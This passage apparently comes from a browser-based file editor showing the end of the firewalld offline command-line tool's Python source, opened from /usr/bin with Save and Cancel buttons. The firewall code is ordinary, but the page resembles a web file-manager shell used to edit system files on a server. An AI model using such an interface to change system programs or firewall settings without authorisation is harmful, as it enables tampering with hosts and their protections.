            settings = FirewallClientIPSetSettings(
                list(fw.config.get_ipset_config(ipset)))
            settings.setShort(a.set_short)

            fw.config.set_ipset_config(ipset, settings.settings)

        elif a.get_short:
            ipset = fw.config.get_ipset(a.ipset)
            settings = FirewallClientIPSetSettings(
                list(fw.config.get_ipset_config(ipset)))

            cmd.print_and_exit(settings.getShort())

        else:
            cmd.fail(parser.format_usage() + &quot;Unknown option&quot;)

        cmd.print_and_exit(&quot;success&quot;)

    # helper

    elif a.get_helpers:
        cmd.print_and_exit(&quot; &quot;.join(sorted(fw.config.get_helpers())))

    elif a.new_helper:
        if not a.module:
            cmd.fail(parser.format_usage() + &quot;No module specified.&quot;)

        settings = FirewallClientHelperSettings()
        settings.setModule(a.module)
        if a.family:
            settings.setFamily(a.family)
        fw.config.new_helper(a.new_helper, settings.settings)

    elif a.new_helper_from_file:
        filename = os.path.basename(a.new_helper_from_file)
        dirname = os.path.dirname(a.new_helper_from_file)
        if dirname == &quot;&quot;:
            dirname = &quot;./&quot;
        try:
            obj = helper_reader(filename, dirname)
        except FirewallError as msg:
            cmd.print_and_exit(&quot;Failed to load helper file &#039;%s&#039;: %s&quot; % \
                               (a.new_helper_from_file, msg), msg.code)
        except IOError as msg:
            cmd.fail(&quot;Failed to load helper file: %s&quot; % msg)

        if a.name:
            obj.name = a.name

        fw.config.new_helper(obj.name, obj.export_config())

    elif a.delete_helper:
        obj = fw.config.get_helper(a.delete_helper)
        fw.config.remove_helper(obj)

    elif a.load_helper_defaults:
        obj = fw.config.get_helper(a.load_helper_defaults)
        fw.config.load_helper_defaults(obj)

    elif a.info_helper:
        obj = fw.config.get_helper(a.info_helper)
        settings = FirewallClientHelperSettings(
            list(fw.config.get_helper_config(obj)))
        cmd.print_helper_info(a.info_helper, settings)
        sys.exit(0)

    elif a.path_helper:
        obj = fw.config.get_helper(a.path_helper)
        cmd.print_and_exit(&quot;%s/%s&quot; % (obj.path, obj.filename))

    elif a.helper:
        obj = fw.config.get_helper(a.helper)
        settings = FirewallClientHelperSettings(
            list(fw.config.get_helper_config(obj)))

        if a.add_port:
            cmd.add_sequence(a.add_port, settings.addPort,
                             settings.queryPort, cmd.parse_port, &quot;%s/%s&quot;)
            fw.config.set_helper_config(obj, settings.settings)

        elif a.remove_port:
            cmd.remove_sequence(a.remove_port, settings.removePort,
                                settings.queryPort, cmd.parse_port, &quot;%s/%s&quot;)
            fw.config.set_helper_config(obj, settings.settings)

        elif a.query_port:
            cmd.query_sequence(a.query_port, settings.queryPort,
                               cmd.parse_port, &quot;%s/%s&quot;)

        elif a.get_ports:
            l = settings.getPorts()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s/%s&quot; % (port[0], port[1]) for port in l]))

        elif a.get_module:
            cmd.print_and_exit(settings.getModule())

        elif a.set_module:
            settings.setModule(cmd.check_module(a.set_module))
            fw.config.set_helper_config(obj, settings.settings)

        elif a.get_family:
            cmd.print_and_exit(settings.getFamily())

        elif a.set_family:
            settings.setFamily(cmd.check_helper_family(a.set_family[0]))
            fw.config.set_helper_config(obj, settings.settings)

        elif a.set_description:
            settings.setDescription(a.set_description)

            fw.config.set_helper_config(obj, settings.settings)

        elif a.get_description:
            cmd.print_and_exit(settings.getDescription())

        elif a.set_short:
            settings.setShort(a.set_short)

            fw.config.set_helper_config(obj, settings.settings)

        elif a.get_short:
            cmd.print_and_exit(settings.getShort())

        else:
            cmd.fail(parser.format_usage() + &quot;Unknown option&quot;)

    # lockdown whitelist

    elif options_lockdown_whitelist:
        whitelist = fw.config.get_policies().lockdown_whitelist

        # commands
        if a.list_lockdown_whitelist_commands:
            l = whitelist.get_commands()
            cmd.print_and_exit(&quot;\n&quot;.join(l))
        elif a.add_lockdown_whitelist_command:
            cmd.add_sequence(a.add_lockdown_whitelist_command,
                             whitelist.add_command,
                             whitelist.has_command, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_lockdown_whitelist_command:
            cmd.remove_sequence(a.remove_lockdown_whitelist_command,
                                whitelist.remove_command,
                                whitelist.has_command, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_lockdown_whitelist_command:
            cmd.query_sequence(a.query_lockdown_whitelist_command,
                               whitelist.has_command, None, &quot;&#039;%s&#039;&quot;)

        # contexts
        elif a.list_lockdown_whitelist_contexts:
            l = whitelist.get_contexts()
            cmd.print_and_exit(&quot;\n&quot;.join(l))
        elif a.add_lockdown_whitelist_context:
            cmd.add_sequence(a.add_lockdown_whitelist_context,
                             whitelist.add_context,
                             whitelist.has_context, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_lockdown_whitelist_context:
            cmd.remove_sequence(a.remove_lockdown_whitelist_context,
                                whitelist.remove_context,
                                whitelist.has_context, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_lockdown_whitelist_context:
            cmd.query_sequence(a.query_lockdown_whitelist_context,
                               whitelist.has_context, None, &quot;&#039;%s&#039;&quot;)

        # uids
        elif a.list_lockdown_whitelist_uids:
            l = whitelist.get_uids()
            cmd.print_and_exit(&quot; &quot;.join(map(str, l)))
        elif a.add_lockdown_whitelist_uid:
            cmd.add_sequence(a.add_lockdown_whitelist_uid,
                             whitelist.add_uid,
                             whitelist.has_uid, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_lockdown_whitelist_uid:
            cmd.remove_sequence(a.remove_lockdown_whitelist_uid,
                                whitelist.remove_uid,
                                whitelist.has_uid, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_lockdown_whitelist_uid:
            cmd.query_sequence(a.query_lockdown_whitelist_uid,
                               whitelist.has_uid, None, &quot;&#039;%s&#039;&quot;)

        # users
        elif a.list_lockdown_whitelist_users:
            l = whitelist.get_users()
            cmd.print_and_exit(&quot;\n&quot;.join(l))
        elif a.add_lockdown_whitelist_user:
            cmd.add_sequence(a.add_lockdown_whitelist_user,
                             whitelist.add_user,
                             whitelist.has_user, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_lockdown_whitelist_user:
            cmd.remove_sequence(a.remove_lockdown_whitelist_user,
                                whitelist.remove_user,
                                whitelist.has_user, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_lockdown_whitelist_user:
            cmd.query_sequence(a.query_lockdown_whitelist_user,
                               whitelist.has_user, None, &quot;&#039;%s&#039;&quot;)

        # apply whitelist changes
        whitelist.write()

    elif options_direct:
        obj = fw.config.get_direct()

        if a.add_passthrough:
            if len(a.add_passthrough) &lt; 2:
                cmd.fail(&quot;usage: --direct --add-passthrough { ipv4 | ipv6 | eb } &lt;args&gt;&quot;)
            cmd.print_msg(
                obj.add_passthrough(cmd.check_ipv(a.add_passthrough[0]),
                                    splitArgs(a.add_passthrough[1])))

        elif a.remove_passthrough:
            if len(a.remove_passthrough) &lt; 2:
                cmd.fail(&quot;usage: --direct --remove-passthrough { ipv4 | ipv6 | eb } &lt;args&gt;&quot;)
            obj.remove_passthrough(cmd.check_ipv(a.remove_passthrough[0]),
                                   splitArgs(a.remove_passthrough[1]))
        elif a.query_passthrough:
            if len(a.query_passthrough) &lt; 2:
                cmd.fail(&quot;usage: --direct --query-passthrough { ipv4 | ipv6 | eb } &lt;args&gt;&quot;)
            cmd.print_query_result(
                obj.query_passthrough(cmd.check_ipv(a.query_passthrough[0]),
                                      splitArgs(a.query_passthrough[1])))
            sys.exit(0)
        elif a.get_passthroughs:
            rules = obj.get_passthroughs(cmd.check_ipv(a.get_passthroughs[0]))
            for rule in rules:
                cmd.print_msg(joinArgs(rule))
            sys.exit(0)
        elif a.get_all_passthroughs:
            rules = obj.get_all_passthroughs()
            for ipv in rules:
                for rule in rules[ipv]:
                    cmd.print_msg(&quot;%s %s&quot; % (ipv, joinArgs(rule)))
            sys.exit(0)

        elif a.add_chain:
            obj.add_chain(cmd.check_ipv(a.add_chain[0]),
                          a.add_chain[1], a.add_chain[2])
        elif a.remove_chain:
            obj.remove_chain(cmd.check_ipv(a.remove_chain[0]),
                             a.remove_chain[1], a.remove_chain[2])
        elif a.query_chain:
            cmd.print_query_result(
                obj.query_chain(cmd.check_ipv(a.query_chain[0]),
                                a.query_chain[1], a.query_chain[2]))
            sys.exit(0)
        elif a.get_chains:
            cmd.print_and_exit(
                &quot; &quot;.join(obj.get_chains(cmd.check_ipv(a.get_chains[0]),
                                        a.get_chains[1])))
            sys.exit(0)
        elif a.get_all_chains:
            chains = obj.get_all_chains()
            for (ipv, table) in chains:
                for chain in chains[(ipv, table)]:
                    cmd.print_msg(&quot;%s %s %s&quot; % (ipv, table, chain))
            sys.exit(0)

        elif a.add_rule:
            if len(a.add_rule) &lt; 5:
                cmd.fail(&quot;usage: --direct --add-rule { ipv4 | ipv6 | eb } &lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;args&gt;&quot;)
            try:
                priority = int(a.add_rule[3])
            except ValueError:
                cmd.fail(&quot;wrong priority\nusage: --direct --add-rule { ipv4 | ipv6 | eb } &lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;args&gt;&quot;)
            obj.add_rule(cmd.check_ipv(a.add_rule[0]), a.add_rule[1],
                         a.add_rule[2], priority, splitArgs(a.add_rule[4]))
        elif a.remove_rule:
            if len(a.remove_rule) &lt; 5:
                cmd.fail(&quot;usage: --direct --remove-rule { ipv4 | ipv6 | eb } &lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;args&gt;&quot;)
            try:
                priority = int(a.remove_rule[3])
            except ValueError:
                cmd.fail(&quot;usage: --direct --remove-rule { ipv4 | ipv6 | eb } &lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;args&gt;&quot;)
            obj.remove_rule(cmd.check_ipv(a.remove_rule[0]), a.remove_rule[1],
                            a.remove_rule[2], priority, splitArgs(a.remove_rule[4]))
        elif a.remove_rules:
            if len(a.remove_rules) &lt; 3:
                cmd.fail(&quot;usage: --direct --remove-rules { ipv4 | ipv6 | eb } &lt;table&gt; &lt;chain&gt;&quot;)
            obj.remove_rules(cmd.check_ipv(a.remove_rules[0]),
                             a.remove_rules[1], a.remove_rules[2])
        elif a.query_rule:
            if len(a.query_rule) &lt; 5:
                cmd.fail(&quot;usage: --direct --query-rule { ipv4 | ipv6 | eb } &lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;args&gt;&quot;)
            try:
                priority = int(a.query_rule[3])
            except ValueError:
                cmd.fail(&quot;usage: --direct --query-rule { ipv4 | ipv6 | eb } &lt;table&gt; &lt;chain&gt; &lt;priority&gt; &lt;args&gt;&quot;)
            cmd.print_query_result(
                obj.query_rule(cmd.check_ipv(a.query_rule[0]),
                               a.query_rule[1], a.query_rule[2],
                               priority, splitArgs(a.query_rule[4])))
            sys.exit(0)
        elif a.get_rules:
            rules = obj.get_rules(cmd.check_ipv(a.get_rules[0]),
                                  a.get_rules[1], a.get_rules[2])
            for (priority, rule) in rules:
                cmd.print_msg(&quot;%d %s&quot; % (priority, joinArgs(rule)))
            sys.exit(0)
        elif a.get_all_rules:
            rules = obj.get_all_rules()
            for (ipv, table, chain) in rules:
                for (priority, rule) in rules[(ipv, table, chain)]:
                    cmd.print_msg(&quot;%s %s %s %d %s&quot; % \
                                  (ipv, table, chain, priority,
                                   joinArgs(rule)))
            sys.exit(0)

        obj.write()

    # list everything
    elif a.list_all_policies:
        policies = fw.config.get_policy_objects()
        for policy in policies:
            fw_policy = fw.config.get_policy_object(policy)
            fw_settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(fw_policy))
            cmd.print_policy_info(policy, fw_settings)
            cmd.print_msg(&quot;&quot;)
        sys.exit(0)

    elif a.policy:
        fw_policy = fw.config.get_policy_object(a.policy)
        fw_settings = FirewallClientPolicySettings(fw.config.get_policy_object_config_dict(fw_policy))

        # ingress zones
        if a.list_ingress_zones:
            l = fw_settings.getIngressZones()
            cmd.print_and_exit(&quot; &quot;.join(sorted(l)))
        elif a.add_ingress_zone:
            cmd.add_sequence(a.add_ingress_zone, fw_settings.addIngressZone,
                             fw_settings.queryIngressZone, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_ingress_zone:
            cmd.remove_sequence(a.remove_ingress_zone, fw_settings.removeIngressZone,
                                fw_settings.queryIngressZone, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_ingress_zone:
            cmd.query_sequence(a.query_ingress_zone, fw_settings.queryIngressZone,
                               None, &quot;&#039;%s&#039;&quot;)

        # egress zones
        if a.list_egress_zones:
            l = fw_settings.getEgressZones()
            cmd.print_and_exit(&quot; &quot;.join(sorted(l)))
        elif a.add_egress_zone:
            cmd.add_sequence(a.add_egress_zone, fw_settings.addEgressZone,
                             fw_settings.queryEgressZone, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_egress_zone:
            cmd.remove_sequence(a.remove_egress_zone, fw_settings.removeEgressZone,
                                fw_settings.queryEgressZone, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_egress_zone:
            cmd.query_sequence(a.query_egress_zone, fw_settings.queryEgressZone,
                               None, &quot;&#039;%s&#039;&quot;)

        # priority
        elif a.get_priority:
            cmd.print_and_exit(str(fw_settings.getPriority()))
        elif a.set_priority:
            fw_settings.setPriority(a.set_priority)

        # rich rules
        if a.list_rich_rules:
            l = fw_settings.getRichRules()
            cmd.print_and_exit(&quot;\n&quot;.join(l))
        elif a.add_rich_rule:
            cmd.add_sequence(a.add_rich_rule, fw_settings.addRichRule,
                             fw_settings.queryRichRule, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_rich_rule:
            cmd.remove_sequence(a.remove_rich_rule, fw_settings.removeRichRule,
                                fw_settings.queryRichRule, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_rich_rule:
            cmd.query_sequence(a.query_rich_rule, fw_settings.queryRichRule,
                               None, &quot;&#039;%s&#039;&quot;)

        # service
        if a.list_services:
            l = fw_settings.getServices()
            cmd.print_and_exit(&quot; &quot;.join(sorted(l)))
        elif a.add_service:
            cmd.add_sequence(a.add_service, fw_settings.addService,
                             fw_settings.queryService, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_service_from_policy:
            cmd.remove_sequence(a.remove_service_from_policy,
                                fw_settings.removeService,
                                fw_settings.queryService, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_service:
            cmd.query_sequence(a.query_service, fw_settings.queryService,
                               None, &quot;&#039;%s&#039;&quot;)

        # port
        elif a.list_ports:
            l = fw_settings.getPorts()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s/%s&quot; % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))]))
        elif a.add_port:
            cmd.add_sequence(a.add_port, fw_settings.addPort,
                             fw_settings.queryPort, cmd.parse_port, &quot;%s/%s&quot;)
        elif a.remove_port:
            cmd.remove_sequence(a.remove_port, fw_settings.removePort,
                                fw_settings.queryPort, cmd.parse_port, &quot;%s/%s&quot;)
        elif a.query_port:
            cmd.query_sequence(a.query_port, fw_settings.queryPort,
                               cmd.parse_port, &quot;%s/%s&quot;)

        # protocol
        elif a.list_protocols:
            l = fw_settings.getProtocols()
            cmd.print_and_exit(&quot; &quot;.join(sorted(l)))
        elif a.add_protocol:
            cmd.add_sequence(a.add_protocol, fw_settings.addProtocol,
                             fw_settings.queryProtocol, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_protocol:
            cmd.remove_sequence(a.remove_protocol, fw_settings.removeProtocol,
                                fw_settings.queryProtocol, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_protocol:
            cmd.query_sequence(a.query_protocol, fw_settings.queryProtocol,
                               None, &quot;&#039;%s&#039;&quot;)

        # source port
        elif a.list_source_ports:
            l = fw_settings.getSourcePorts()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s/%s&quot; % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))]))
        elif a.add_source_port:
            cmd.add_sequence(a.add_source_port, fw_settings.addSourcePort,
                             fw_settings.querySourcePort, cmd.parse_port,
                             &quot;%s/%s&quot;)
        elif a.remove_source_port:
            cmd.remove_sequence(a.remove_source_port,
                                fw_settings.removeSourcePort,
                                fw_settings.querySourcePort, cmd.parse_port,
                                &quot;%s/%s&quot;)
        elif a.query_source_port:
            cmd.query_sequence(a.query_source_port, fw_settings.querySourcePort,
                               cmd.parse_port, &quot;%s/%s&quot;)

        # masquerade
        elif a.add_masquerade:
            fw_settings.setMasquerade(True)
        elif a.remove_masquerade:
            fw_settings.setMasquerade(False)
        elif a.query_masquerade:
            cmd.print_query_result(fw_settings.getMasquerade())

        # forward port
        elif a.list_forward_ports:
            l = fw_settings.getForwardPorts()
            cmd.print_and_exit(&quot;\n&quot;.join([&quot;port=%s:proto=%s:toport=%s:toaddr=%s&quot; % (_port, _protocol, _toport, _toaddr) for (_port, _protocol, _toport, _toaddr) in l]))
        elif a.add_forward_port:
            cmd.add_sequence(a.add_forward_port, fw_settings.addForwardPort,
                             fw_settings.queryForwardPort,
                             cmd.parse_forward_port,
                             &quot;port=%s:proto=%s:toport=%s:toaddr=%s&quot;)
        elif a.remove_forward_port:
            cmd.remove_sequence(a.remove_forward_port,
                                fw_settings.removeForwardPort,
                                fw_settings.queryForwardPort,
                                cmd.parse_forward_port,
                                &quot;port=%s:proto=%s:toport=%s:toaddr=%s&quot;)
        elif a.query_forward_port:
            cmd.query_sequence(a.query_forward_port,
                               fw_settings.queryForwardPort,
                               cmd.parse_forward_port,
                               &quot;port=%s:proto=%s:toport=%s:toaddr=%s&quot;)

        # block icmp
        elif a.list_icmp_blocks:
            l = fw_settings.getIcmpBlocks()
            cmd.print_and_exit(&quot; &quot;.join(l))
        elif a.add_icmp_block:
            cmd.add_sequence(a.add_icmp_block, fw_settings.addIcmpBlock,
                             fw_settings.queryIcmpBlock, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_icmp_block:
            cmd.remove_sequence(a.remove_icmp_block,
                                fw_settings.removeIcmpBlock,
                                fw_settings.queryIcmpBlock, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_icmp_block:
            cmd.query_sequence(a.query_icmp_block, fw_settings.queryIcmpBlock,
                               None, &quot;&#039;%s&#039;&quot;)

        # policy target
        elif a.get_target:
            cmd.print_and_exit(fw_settings.getTarget())
        elif a.set_target:
            fw_settings.setTarget(a.set_target)

        # list all policy settings
        elif a.list_all:
            cmd.print_policy_info(a.policy, fw_settings)
            sys.exit(0)

        elif a.set_description:
            fw_settings.setDescription(a.set_description)

        elif a.get_description:
            cmd.print_and_exit(fw_settings.getDescription())

        elif a.set_short:
            fw_settings.setShort(a.set_short)

        elif a.get_short:
            cmd.print_and_exit(fw_settings.getShort())

        fw.config.set_policy_object_config_dict(fw_policy, fw_settings.getSettingsDict())

        cmd.print_and_exit(&quot;success&quot;)

    else:
        if zone == &quot;&quot;:
            zone = fw.get_default_zone()
        fw_zone = fw.config.get_zone(zone)
        fw_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(fw_zone))

        # interface
        if a.list_interfaces:
            l = fw_settings.getInterfaces()
            cmd.print_and_exit(&quot; &quot;.join(l))
        elif a.get_zone_of_interface:
            for interface in a.get_zone_of_interface:
                ret = [ ]
                for zone in fw.config.get_zones():
                    obj = fw.config.get_zone(zone)
                    if interface in obj.interfaces:
                        ret.append(obj.name)
                if len(ret) &gt; 1:
                    # Even it shouldn&#039;t happen, it&#039;s actually possible that
                    # the same interface is in several zone XML files
                    cmd.print_warning(&quot; &quot;.join(ret) + &quot;  (ERROR: interface &#039;%s&#039; is in %s zone XML files, can be only in one)&quot; % (interface, len(ret)))
                if len(ret) == 1:
                    if len(a.get_zone_of_interface) &gt; 1:
                        cmd.print_warning(&quot;%s: %s&quot; % (interface, ret[0]))
                    else:
                        cmd.print_and_exit(ret[0])
                else:
                    if len(a.get_zone_of_interface) &gt; 1:
                        cmd.print_warning(&quot;%s: no zone&quot; % interface)
                    else:
                        cmd.print_and_exit(&quot;no zone&quot;, 2)
        elif a.change_interface:
            for interface in a.change_interface:
                for old_zone in fw.config.get_zones():
                    old_zone_obj = fw.config.get_zone(old_zone)
                    if interface in old_zone_obj.interfaces:
                        if old_zone_obj.name != zone:
                            old_zone_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(old_zone_obj))

                            old_zone_settings.removeInterface(interface) # remove from old
                            fw.config.set_zone_config_dict(old_zone_obj, old_zone_settings.getSettingsDict())
                fw_settings.addInterface(interface)              # add to new
        elif a.add_interface:
            cmd.add_sequence(a.add_interface, fw_settings.addInterface,
                             fw_settings.queryInterface, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_interface:
            cmd.remove_sequence(a.remove_interface, fw_settings.removeInterface,
                                fw_settings.queryInterface, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_interface:
            cmd.query_sequence(a.query_interface, fw_settings.queryInterface,
                               None, &quot;&#039;%s&#039;&quot;)

        # source
        if a.list_sources:
            sources = fw_settings.getSources()
            cmd.print_and_exit(&quot; &quot;.join(sources))
        elif a.get_zone_of_source:
            for source in a.get_zone_of_source:
                ret = [ ]
                for zone in fw.config.get_zones():
                    obj = fw.config.get_zone(zone)
                    if source in obj.sources:
                        ret.append(obj.name)
                if len(ret) &gt; 1:
                    # Even it shouldn&#039;t happen, it&#039;s actually possible that
                    # the same source is in several zone XML files
                    cmd.print_warning(&quot; &quot;.join(ret) + &quot;  (ERROR: source &#039;%s&#039; is in %s zone XML files, can be only in one)&quot; % (source, len(ret)))
                if len(ret) == 1:
                    if len(a.get_zone_of_source) &gt; 1:
                        cmd.print_warning(&quot;%s: %s&quot; % (source, ret[0]))
                    else:
                        cmd.print_and_exit(ret[0])
                else:
                    if len(a.get_zone_of_source) &gt; 1:
                        cmd.print_warning(&quot;%s: no zone&quot; % source)
                    else:
                        cmd.print_and_exit(&quot;no zone&quot;, 2)
        elif a.change_source:
            for source in a.change_source:
                for old_zone in fw.config.get_zones():
                    old_zone_obj = fw.config.get_zone(old_zone)
                    if source in old_zone_obj.sources:
                        if old_zone_obj.name != zone:
                            old_zone_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(old_zone_obj))

                            old_zone_settings.removeSource(source) # remove from old
                            fw.config.set_zone_config_dict(old_zone_obj, old_zone_settings.getSettingsDict())
                fw_settings.addSource(source)              # add to new
        elif a.add_source:
            cmd.add_sequence(a.add_source, fw_settings.addSource,
                             fw_settings.querySource, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_source:
            cmd.remove_sequence(a.remove_source, fw_settings.removeSource,
                                fw_settings.querySource, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_source:
            cmd.query_sequence(a.query_source, fw_settings.querySource,
                               None, &quot;&#039;%s&#039;&quot;)

        # rich rules
        if a.list_rich_rules:
            l = fw_settings.getRichRules()
            cmd.print_and_exit(&quot;\n&quot;.join(l))
        elif a.add_rich_rule:
            cmd.add_sequence(a.add_rich_rule, fw_settings.addRichRule,
                             fw_settings.queryRichRule, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_rich_rule:
            cmd.remove_sequence(a.remove_rich_rule, fw_settings.removeRichRule,
                                fw_settings.queryRichRule, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_rich_rule:
            cmd.query_sequence(a.query_rich_rule, fw_settings.queryRichRule,
                               None, &quot;&#039;%s&#039;&quot;)

        # service
        if a.list_services:
            l = fw_settings.getServices()
            cmd.print_and_exit(&quot; &quot;.join(sorted(l)))
        elif a.add_service:
            cmd.add_sequence(a.add_service, fw_settings.addService,
                             fw_settings.queryService, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_service_from_zone:
            cmd.remove_sequence(a.remove_service_from_zone,
                                fw_settings.removeService,
                                fw_settings.queryService, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_service:
            cmd.query_sequence(a.query_service, fw_settings.queryService,
                               None, &quot;&#039;%s&#039;&quot;)

        # port
        elif a.list_ports:
            l = fw_settings.getPorts()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s/%s&quot; % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))]))
        elif a.add_port:
            cmd.add_sequence(a.add_port, fw_settings.addPort,
                             fw_settings.queryPort, cmd.parse_port, &quot;%s/%s&quot;)
        elif a.remove_port:
            cmd.remove_sequence(a.remove_port, fw_settings.removePort,
                                fw_settings.queryPort, cmd.parse_port, &quot;%s/%s&quot;)
        elif a.query_port:
            cmd.query_sequence(a.query_port, fw_settings.queryPort,
                               cmd.parse_port, &quot;%s/%s&quot;)

        # protocol
        elif a.list_protocols:
            l = fw_settings.getProtocols()
            cmd.print_and_exit(&quot; &quot;.join(sorted(l)))
        elif a.add_protocol:
            cmd.add_sequence(a.add_protocol, fw_settings.addProtocol,
                             fw_settings.queryProtocol, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_protocol:
            cmd.remove_sequence(a.remove_protocol, fw_settings.removeProtocol,
                                fw_settings.queryProtocol, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_protocol:
            cmd.query_sequence(a.query_protocol, fw_settings.queryProtocol,
                               None, &quot;&#039;%s&#039;&quot;)

        # source port
        elif a.list_source_ports:
            l = fw_settings.getSourcePorts()
            cmd.print_and_exit(&quot; &quot;.join([&quot;%s/%s&quot; % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))]))
        elif a.add_source_port:
            cmd.add_sequence(a.add_source_port, fw_settings.addSourcePort,
                             fw_settings.querySourcePort, cmd.parse_port,
                             &quot;%s/%s&quot;)
        elif a.remove_source_port:
            cmd.remove_sequence(a.remove_source_port,
                                fw_settings.removeSourcePort,
                                fw_settings.querySourcePort, cmd.parse_port,
                                &quot;%s/%s&quot;)
        elif a.query_source_port:
            cmd.query_sequence(a.query_source_port, fw_settings.querySourcePort,
                               cmd.parse_port, &quot;%s/%s&quot;)

        # forward
        elif a.add_forward:
            fw_settings.setForward(True)
        elif a.remove_forward:
            fw_settings.setForward(False)
        elif a.query_forward:
            cmd.print_query_result(fw_settings.getForward())

        # masquerade
        elif a.add_masquerade:
            fw_settings.setMasquerade(True)
        elif a.remove_masquerade:
            fw_settings.setMasquerade(False)
        elif a.query_masquerade:
            cmd.print_query_result(fw_settings.getMasquerade())

        # forward port
        elif a.list_forward_ports:
            l = fw_settings.getForwardPorts()
            cmd.print_and_exit(&quot;\n&quot;.join([&quot;port=%s:proto=%s:toport=%s:toaddr=%s&quot; % (_port, _protocol, _toport, _toaddr) for (_port, _protocol, _toport, _toaddr) in l]))
        elif a.add_forward_port:
            cmd.add_sequence(a.add_forward_port, fw_settings.addForwardPort,
                             fw_settings.queryForwardPort,
                             cmd.parse_forward_port,
                             &quot;port=%s:proto=%s:toport=%s:toaddr=%s&quot;)
        elif a.remove_forward_port:
            cmd.remove_sequence(a.remove_forward_port,
                                fw_settings.removeForwardPort,
                                fw_settings.queryForwardPort,
                                cmd.parse_forward_port,
                                &quot;port=%s:proto=%s:toport=%s:toaddr=%s&quot;)
        elif a.query_forward_port:
            cmd.query_sequence(a.query_forward_port,
                               fw_settings.queryForwardPort,
                               cmd.parse_forward_port,
                               &quot;port=%s:proto=%s:toport=%s:toaddr=%s&quot;)

        # block icmp
        elif a.list_icmp_blocks:
            l = fw_settings.getIcmpBlocks()
            cmd.print_and_exit(&quot; &quot;.join(l))
        elif a.add_icmp_block:
            cmd.add_sequence(a.add_icmp_block, fw_settings.addIcmpBlock,
                             fw_settings.queryIcmpBlock, None, &quot;&#039;%s&#039;&quot;)
        elif a.remove_icmp_block:
            cmd.remove_sequence(a.remove_icmp_block,
                                fw_settings.removeIcmpBlock,
                                fw_settings.queryIcmpBlock, None, &quot;&#039;%s&#039;&quot;)
        elif a.query_icmp_block:
            cmd.query_sequence(a.query_icmp_block, fw_settings.queryIcmpBlock,
                               None, &quot;&#039;%s&#039;&quot;)

        # icmp block inversion
        elif a.add_icmp_block_inversion:
            fw_settings.addIcmpBlockInversion()
        elif a.remove_icmp_block_inversion:
            fw_settings.removeIcmpBlockInversion()
        elif a.query_icmp_block_inversion:
            cmd.print_query_result(fw_settings.queryIcmpBlockInversion())

        # zone target
        elif a.get_target:
            cmd.print_and_exit(fw_settings.getTarget())
        elif a.set_target:
            fw_settings.setTarget(a.set_target)

        # list all zone settings
        elif a.list_all:
            cmd.print_zone_info(zone if zone else fw.get_default_zone(),
                                fw_settings)
            sys.exit(0)

        # list everything
        elif a.list_all_zones:
            zones = fw.config.get_zones()
            for zone in zones:
                fw_zone = fw.config.get_zone(zone)
                fw_settings = FirewallClientZoneSettings(fw.config.get_zone_config_dict(fw_zone))
                cmd.print_zone_info(zone, fw_settings)
                cmd.print_msg(&quot;&quot;)
            sys.exit(0)

        elif a.set_description:
            fw_settings.setDescription(a.set_description)

        elif a.get_description:
            cmd.print_and_exit(fw_settings.getDescription())

        elif a.set_short:
            fw_settings.setShort(a.set_short)

        elif a.get_short:
            cmd.print_and_exit(fw_settings.getShort())

        fw.config.set_zone_config_dict(fw_zone, fw_settings.getSettingsDict())

        cmd.print_and_exit(&quot;success&quot;)

except FirewallError as msg:
    cmd.print_and_exit(&quot;%s&quot; % msg, msg.code)
except Exception as msg:
    cmd.fail(&quot;%s&quot; % msg)
else:
    cmd.print_and_exit(&quot;success&quot;)
</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fusr%2Fbin" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/usr/bin';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
